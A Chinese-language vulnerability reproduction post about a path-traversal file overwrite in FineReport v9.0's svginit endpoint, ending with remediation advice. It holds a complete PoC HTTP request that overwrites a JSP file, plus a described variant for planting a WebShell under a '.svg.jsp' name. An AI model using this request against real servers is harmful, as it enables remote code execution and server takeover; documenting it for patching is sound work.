漏洞简介
该漏洞是在近期2021年HW中被披露的,由于在初始化svg文件时,未对传入的参数做限制,导致可以对已存在的文件覆盖写入数据,从而可以通过该漏洞将木马覆盖写入已存在的jsp文件中获取服务器权限。
漏洞复现
官网下载v9.0版本系统
根据向导安装系统:https://help.fanruan.com/finereport/doc-view-69.html 安装完后会发现网站目录下存在默认文件update.jsp和update1.jsp。
使用网上的poc来对系统进行文件覆盖写入,注意内容要使用双引号。
POST/WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update.jsp HTTP/1.1
Host: 192.168.10.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:JSESSIONID=DE7874FC92F0852C84D38935247D947F;JSESSIONID=A240C26B17628D871BB74B7601482FDE
Connection: close
Content-Type:text/xml;charset=UTF-8
Content-Length: 74
{"__CONTENT__":"<%out.println(\"HelloWorld!\");%>","__CHARSET__":"UTF-8"}
此时目录下的update.jsp已经被覆盖为我们写入的代码
无需覆盖文件
先知社区评论区blackwolf提出的无损利用方法,让该漏洞成为任意文件上传,通过传递文件名为xxx.svg.jsp即可创建该文件并写入WebShell。
漏洞分析
使用jd-gui反编译FineReport_9.0\WebReport\WEB-INF\lib中的fr-chart-9.0.jar
修复建议
过滤filePath参数的值,或使用路径和文件后缀白名单,删除或修改默认update.jsp和update1.jsp页面,升级FineReport到最新版v10版本。
请登录后查看回复内容